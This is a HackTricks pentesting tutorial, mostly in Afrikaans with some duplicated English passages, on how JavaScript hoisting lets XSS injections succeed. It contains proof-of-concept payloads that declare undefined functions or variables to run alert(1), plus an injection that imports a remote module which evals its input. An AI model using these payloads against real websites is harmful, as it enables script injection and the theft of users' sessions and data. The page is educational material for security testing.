JS Hoisting

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

In die JavaScript-taal word 'n meganisme bekend as Hoisting beskryf waar verklarings van veranderlikes, funksies, klasse of invoere konseptueel na die bokant van hul omvang verhoog word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skripsie in verskeie deurgange gaan.

Tydens die eerste deurgang ontleder die enjin die kode om te kyk vir sintaksisfoute en omskep dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoerkonteks verskuif word. As die ontledingsfase suksesvol is, wat dui op geen sintaksisfoute nie, gaan die skripsie-uitvoering voort.

Dit is noodsaaklik om te verstaan dat:

  1. Die skripsie vry van sintaksisfoute moet wees vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.

  2. Die plasing van kode binne die skripsie beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy teksuele voorstelling.

Tipes Hoisting

Gebaseer op die inligting van MDN, is daar vier onderskeie tipes hoisting in JavaScript:

  1. Value Hoisting: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat dit gedeclareer word.

  2. Declaration Hoisting: Maak dit moontlik om na 'n veranderlike binne sy omvang te verwys voordat dit gedeclareer word sonder om 'n ReferenceError te veroorsaak, maar die waarde van die veranderlike sal undefined wees.

  3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die verklaring van die veranderlike voor sy werklike verklaringslyn.

  4. Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.

In detail vertoon funksieverklarings tipe 1 hoisting-gedrag. Die var sleutelwoord toon tipe 2-gedrag. Lexikale verklarings, wat let, const en class insluit, toon tipe 3-gedrag. Laastens is import-verklarings uniek omdat hulle gehoist word met beide tipe 1- en tipe 4-gedrag.

Scenarios

Daarom, as jy scenarios het waar jy JS-kode kan inspuit nadat 'n ongedeklareerde voorwerp gebruik is, kan jy die sintaksis regmaak deur dit te deklareer (sodat jou kode uitgevoer word in plaas van om 'n fout te veroorsaak):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Meer Scenarios

Scenario 1: Hoisting in JavaScript

Scenario 1: Hoisting in JavaScript

In JavaScript, hoisting is a behavior where variable and function declarations are moved to the top of their containing scope during the compilation phase. This means that you can use variables and functions before they are actually declared in your code.

In JavaScript, hoisting is 'n gedrag waar variabele- en funksiedeklarasies na die boonste gedeelte van hul omvattende omvang verskuif word gedurende die samestellingsfase. Dit beteken dat jy veranderlikes en funksies kan gebruik voordat hulle werklik in jou kode verklaar word.

For example, consider the following code:

Byvoorbeeld, oorweeg die volgende kode:

console.log(x); // Output: undefined
var x = 5;

In this example, the variable x is declared and assigned a value of 5 after the console.log statement. However, when the code is executed, the output is undefined. This is because the variable declaration is hoisted to the top of the scope, but the assignment is not hoisted. Therefore, at the time of the console.log statement, the variable x exists but has not been assigned a value yet.

In hierdie voorbeeld word die veranderlike x verklaar en 'n waarde van 5 toegeken na die console.log-verklaring. Wanneer die kode egter uitgevoer word, is die uitset undefined. Dit is omdat die veranderlike verklaring na die boonste gedeelte van die omvang verskuif word, maar die toekenning nie verskuif word nie. Daarom, op die tydstip van die console.log-verklaring, bestaan die veranderlike x, maar dit het nog nie 'n waarde gekry nie.

This behavior can be leveraged in cross-site scripting (XSS) attacks to execute malicious code. By injecting JavaScript code that relies on hoisting, an attacker can manipulate the execution flow and potentially gain unauthorized access or perform other malicious actions.

Hierdie gedrag kan benut word in kruis-webwerf-skripsie (XSS) aanvalle om skadelike kode uit te voer. Deur JavaScript-kode in te spuit wat afhanklik is van hoisting, kan 'n aanvaller die uitvoervloei manipuleer en moontlik ongemagtigde toegang verkry of ander skadelike aksies uitvoer.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated